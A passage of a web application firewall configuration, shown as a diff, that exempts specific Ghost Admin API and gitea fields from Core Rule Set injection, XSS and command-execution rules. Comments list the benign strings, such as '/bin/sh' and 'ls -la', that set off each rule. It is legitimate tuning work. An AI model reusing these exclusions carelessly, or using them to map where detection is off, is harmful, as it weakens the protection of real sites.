ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/"
|
|
||||||
|
|
||||||
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
|
|
||||||
# the site's settings, which hold the site-wide code injection besides the
|
|
||||||
# title and the description, skip the eight rules that 900353 lists and these:
|
|
||||||
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
|
|
||||||
# 941270: <link rel="preconnect" href="https://fonts.example.com">
|
|
||||||
# 932235, one of the eight, refused the site's title "powershell & python3".
|
|
||||||
# These fields hold it, and skip the rules anywhere on the Admin API:
|
|
||||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
|
||||||
# settings.<n>.value, the value of a setting
|
|
||||||
# A javascript: link is still refused in them, and a <script> element passes
|
|
||||||
# by 900366.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900356,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
|
|
||||||
|
|
||||||
# A <script> element skips 941110 in posts, pages and code injection, on the
|
|
||||||
# Admin API, which refused:
|
|
||||||
# an HTML card that embeds a widget with its script
|
|
||||||
# code injection that loads analytics,
|
|
||||||
# <script defer src="https://analytics.example.com/script.js"></script>
|
|
||||||
# These fields take a <script> element on purpose:
|
|
||||||
# posts.<n>.lexical, mobiledoc and html, and the same fields of pages
|
|
||||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
|
||||||
# settings.<n>.value, the value of a setting
|
|
||||||
# Snippets and a newsletter's footer still refuse it.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900366,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
|
||||||
|
|
||||||
# The canonical URL of a post or a page skips the two rules that url skips:
|
|
||||||
# 930120: https://example.com/blog/.htaccess/
|
|
||||||
# 932120: https://example.com/blog/powershell/
|
|
||||||
# Each of these fields skips them only on its own path:
|
|
||||||
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
|
|
||||||
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
|
||||||
"id:900383,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
|
|
||||||
"id:900384,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
|
|
||||||
|
|
||||||
# Saving a staff user's profile sends the field profile_image, whose name holds
|
|
||||||
# .profile, a file the list of system files names (930120).
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
|
||||||
"id:900357,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
|
||||||
|
|
||||||
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
|
|
||||||
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
|
|
||||||
# the code injection of posts. A javascript: link is still refused in it.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
|
||||||
"id:900378,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
|
|
||||||
|
|
||||||
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
|
|
||||||
# skips the two rules that url skips:
|
|
||||||
# 930120: https://example.com/tag/.htaccess/
|
|
||||||
# 932120: https://example.com/tag/powershell/
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
|
||||||
"id:900382,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
|
|
||||||
|
|
||||||
# The passwords, which skip each rule that random passwords set off:
|
|
||||||
# password, signing in at /ghost/api/admin/session/
|
|
||||||
# setup.<n>.password, creating the first staff user
|
|
||||||
# invitation.<n>.password, accepting an invitation
|
|
||||||
# password_reset.<n>.newPassword and ne2Password, resetting a password
|
|
||||||
# password.<n>.oldPassword, newPassword and ne2Password, changing one at
|
|
||||||
# /ghost/api/admin/users/password/
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/(?:session|authentication/(?:setup|invitation|password_reset)|users/password)/$" \
|
|
||||||
"id:900358,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/"
|
|
||||||
|
|
||||||
SecMarker END_GHOST
|
|
||||||
File diff suppressed because it is too large.
Load diff
+31
-330
@@ -1,56 +1,8 @@
|
|||||||
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
|
# The eighth change: on gitea's paths, some fields skip the rules that refused
|
||||||
# They are the fields where gitea sends a search, a file's name or text, a
|
# ordinary gitea requests there. They are the fields where gitea sends a search,
|
||||||
# commit message, a branch name or a repository's name. Each exclusion runs with
|
# a file name or a branch name. Each exclusion runs with the request, before the
|
||||||
# the request, before the rules it switches off, those of phase 1 included, so
|
# rules it switches off, those of phase 1 included, so this file is loaded before
|
||||||
# this file is loaded before the Core Rule Set's rules. Each comment names a
|
# the Core Rule Set's rules. Each comment names a request the rule refused.
|
||||||
# request the rule refused.
|
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_gitea. It sets it
|
|
||||||
# while SWW_WAF_APPS is unset, or lists gitea or forgejo for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_gitea itself.
|
|
||||||
SecRule &TX:app_gitea "@eq 0" \
|
|
||||||
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
|
|
||||||
|
|
||||||
# The query parameters in which gitea sends names within a repository or its
|
|
||||||
# own records, or a page of its own site, are not checked against the lists of
|
|
||||||
# system files, shell paths and command names, on any path:
|
|
||||||
# 930120: .gitignore
|
|
||||||
# 932160: bin/docker-entrypoint
|
|
||||||
# 932260: docker-build
|
|
||||||
# ARGS holds the fields of a form data or multipart body Coraza reads as well
|
|
||||||
# as the query parameters, so a field of these names is left out too.
|
|
||||||
SecAction "id:900591,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
|
|
||||||
|
|
||||||
# gitea's searches of code, of issues and pull requests, and of commits send the
|
# gitea's searches of code, of issues and pull requests, and of commits send the
|
||||||
# text searched for in q, which skips these rules there:
|
# text searched for in q, which skips these rules there:
|
||||||
@@ -83,20 +35,17 @@ SecAction "id:900591,phase:1,pass,nolog,\
|
|||||||
# 944100: java.lang.Runtime
|
# 944100: java.lang.Runtime
|
||||||
# 944110: java.lang.Runtime
|
# 944110: java.lang.Runtime
|
||||||
# 944130: java.lang.Runtime
|
# 944130: java.lang.Runtime
|
||||||
# The searches of issues and pull requests include those of one team of an
|
# gitea has no owner named api. A repository's search, issues, pull requests and
|
||||||
# organisation, such as /org/acme/issues/developers, and of one milestone, such
|
# commit search with that owner get none of this. /api/v2/search, for example,
|
||||||
# as /alice/tools/milestone/1.
|
# is Mastodon's search.
|
||||||
# gitea has no owner named api. A repository's search, issues, pull requests,
|
|
||||||
# milestone pages and commit search with that owner get none of this.
|
|
||||||
# /api/v2/search, for example, is Mastodon's search.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||||
[^/]+/-/code|org/[^/]+/(?:issues|pulls)/[^/]+|\
|
[^/]+/-/code|\
|
||||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|milestone/[0-9]+|\
|
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||||
commits/(?:branch|tag|commit)/.+/search)|\
|
commits/(?:branch|tag|commit)/.+/search)|\
|
||||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||||
"id:900600,phase:1,pass,nolog,chain"
|
"id:900600,phase:1,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
||||||
pulls|milestone/[0-9]+|commits/(?:branch|tag|commit)/.+/search)$" \
|
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
|
||||||
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||||
@@ -136,14 +85,13 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
|||||||
# 944100: java.lang.Runtime
|
# 944100: java.lang.Runtime
|
||||||
# A repository with the owner api is left out here too.
|
# A repository with the owner api is left out here too.
|
||||||
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
||||||
issues(?:/search)?|pulls|[^/]+/-/code|org/[^/]+/(?:issues|pulls)/[^/]+|\
|
issues(?:/search)?|pulls|[^/]+/-/code|\
|
||||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|milestone/[0-9]+|\
|
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||||
commits/(?:branch|tag|commit)/.+/search)|\
|
commits/(?:branch|tag|commit)/.+/search)|\
|
||||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
||||||
"id:900601,phase:1,pass,nolog,chain"
|
"id:900601,phase:1,pass,nolog,chain"
|
||||||
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
|
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
|
||||||
issues(?:/search)?|pulls|milestone/[0-9]+|\
|
issues(?:/search)?|pulls|commits/(?:branch|tag|commit)/.+/search)\?" \
|
||||||
commits/(?:branch|tag|commit)/.+/search)\?" \
|
|
||||||
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||||
@@ -157,12 +105,9 @@ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3-app
|
# 932260: python3-app
|
||||||
# 944130: org.apache.commons.logging
|
# 944130: org.apache.commons.logging
|
||||||
# [^/]+/[^/]+/packages matches an owner's packages page (/alice/-/packages), a
|
|
||||||
# repository's (/alice/tools/packages) and gitea's admin page of packages
|
|
||||||
# (/-/admin/packages). Forgejo's admin page of packages is /admin/packages.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
||||||
[^/]+/[^/]+/(?:branches|tags|packages)|admin/packages|\
|
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search|\
|
||||||
api/v1/repos/search|api/v1/packages/[^/]+)$" \
|
api/v1/packages/[^/]+)$" \
|
||||||
"id:900602,phase:1,pass,nolog,\
|
"id:900602,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
@@ -170,158 +115,32 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
|||||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||||
|
|
||||||
# A branch, tag or package name can hold a slash, as feat/docker-support and
|
# A branch or package name can hold a slash, as feat/docker-support and npm's
|
||||||
# npm's @scope/name do. So q on a repository's branches, tags and packages
|
# @scope/name do. So q on a repository's branches page and on an owner's
|
||||||
# pages, on an owner's packages page, on the admin page of packages, on the
|
# packages page also skips this rule:
|
||||||
# API's search of packages and on the Composer and Conan registries' searches
|
|
||||||
# also skips this rule:
|
|
||||||
# 932160: /bin/sh
|
# 932160: /bin/sh
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
|
||||||
admin/packages|api/v1/packages/[^/]+|\
|
|
||||||
api/packages/[^/]+/(?:composer/search\.json|conan/v[12]/conans/search))$" \
|
|
||||||
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
||||||
|
|
||||||
# gitea's other searches send a name or a few words in q too, which skips only
|
# gitea's other searches for a name send it in q too, which skips only these
|
||||||
# these rules there:
|
# rules there:
|
||||||
# 930120: .profile, .htaccess
|
# 930120: .profile
|
||||||
# 932120: powershell-scripts, powershell
|
# 932120: powershell-scripts
|
||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3-app, python3
|
# 932260: python3-app
|
||||||
# The searches:
|
# The searches:
|
||||||
# - the dashboard's filter of repositories;
|
# - the dashboard's filter of repositories;
|
||||||
# - the author filter of the issue and pull request lists;
|
# - the author filter of the issue and pull request lists;
|
||||||
# - the lists of users and organisations;
|
# - the lists of users and organisations, and the API's search for users.
|
||||||
# - the API's searches of users, of topics, of an organisation's teams and of
|
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
|
||||||
# emails;
|
explore/(?:users|organizations)|api/v1/users/search|\
|
||||||
# - the searches of the Cargo, Chef, Composer and Conan registries, and the
|
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
|
||||||
# NuGet registry's search service;
|
|
||||||
# - the list of repositories a user watches;
|
|
||||||
# - an organisation's milestones of one team, and its search for teams;
|
|
||||||
# - the milestones of a repository or an organisation, and the projects of a
|
|
||||||
# repository, a user or an organisation;
|
|
||||||
# - the versions of a package;
|
|
||||||
# - the issues suggested when an issue is mentioned;
|
|
||||||
# - the runner lists of the site, a user, an organisation and a repository;
|
|
||||||
# - the admin lists of users, organisations, repositories, unadopted
|
|
||||||
